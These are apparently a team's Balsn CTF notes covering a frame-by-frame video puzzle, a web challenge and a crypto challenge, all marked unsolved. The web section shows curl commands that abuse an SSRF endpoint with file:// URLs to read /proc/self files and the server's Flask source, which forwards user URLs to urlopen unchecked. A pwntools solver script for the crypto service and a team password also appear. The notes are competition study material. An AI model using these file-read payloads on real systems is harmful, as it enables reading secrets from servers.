# Balsn CTF ``` team: KKMW password: LJSWoodMortalKuang ``` ## MISC - Show your Patience and Intelligence I <font color=red>(Unsolve)</font> Hint: 1. 可以解出`BALSN{_q!fitlboEc}`,但是不對。 2. Long exposure photography,但我覺得跟hint1很像 3. 他說閃爍的頻率不是固定的(不知道如何下手) 其他: 1. 用一個frame一個frame下去看,會看到只出現一個frame的紅點,而且跟前後的frame都不一樣,我是用**Elmedia player**去看的。 2. 同1,但是有些地方LED啟動或是消失的那一個frame也會是有點紅紅的,不太確定。 ## Web - tpc <font color=red>(Unsolve)</font> ``` curl http://35.194.175.80:8000/query?site=file:///proc/self/cmdline --output cmdline ``` ``` curl http://35.194.175.80:8000/query?site=file:///proc/self/cwd/main-dc1e2f5f7a4f359bb5ce1317a.py ``` source code: ```python= import urllib.request from flask import Flask, request app = Flask(__name__) @app.route("/query") def query(): site = request.args.get('site') text = urllib.request.urlopen(site).read() return text @app.route("/") def hello_world(): return "/query?site=[your website]" if __name__ == "__main__": app.run(debug=False, host="0.0.0.0", port=8000) ``` ## Crypto - Happy farm <font color=red>(Unsolve)</font> `solve.sage` ```python= #!/usr/bin/env python3.8 from pwn import * # ======================================== # r = remote("happy-farm.balsnctf.com", 4001) # r = process("./chal.py") r = remote("127.0.0.1", 20000) # ======================================== # level 1 TARGET_LAYER = 9000 r.recvuntil("My seed:") x = r.recvuntil("My start date: ", drop=True) my_seed = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").decode()) my_start_date = bytes.fromhex(r.recvline().strip().decode()) assert len(my_seed) == 256 assert len(my_start_date) == 16 seed = bytes([my_seed[0] ^^ 1]) + my_seed[1:] start_date = bytes([my_start_date[0] ^^ 1]) + my_start_date[1:] assert len(seed) == 256 assert len(start_date) == 16 r.sendlineafter("start date: ", start_date.hex()) r.sendlineafter("seed: ", seed.hex()) r.sendlineafter("layer: ", "1") r.recvuntil("Your onion") x = r.recvuntil("start date: ", drop=True) onion = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode()) assert len(onion) == 256 r.sendline(onion[-16:].hex()) r.sendlineafter("seed: ", onion.hex()) r.sendlineafter("layer: ", "8999") r.recvuntil("Your onion") x = r.recvuntil("How would my onion looks like? ", drop=True) onion = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode()) assert len(onion) == 256 r.sendline(onion.hex()) res = r.recvline() assert res == b"What a prophet!\n" # ======================================== # level 2 r.recvuntil("My seed is") x = r.recvuntil("You should use my seed first!", drop=True) my_seed = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").decode()) assert len(my_seed) == 128 r.sendlineafter("layer: ", "8999") r.recvuntil("your onion") x = r.recvuntil("You can now use your seed", drop=True) onion1 = bytes.fromhex(x.replace(b" ", b"").replace(b"\n", b"").replace(b"x", b"").decode()) assert len(onion1) == 128 r.sendlineafter("seed: ", my_seed.hex()) r.sendlineafter("layer: ", "8999") r.recvuntil("Here you go") x = r.recvuntil("How would my onion looks like? ", drop=True).replace(b" ", b"").replace(b"\n", b"") onion2 = bytes.fromhex(x[:172].decode()) assert len(onion2) == 86 onion2 += bytes(128 - 86) r.sendline(onion2.hex()) res = r.recvline() print(res) # ======================================== # level 3 # ======================================== r.close() ```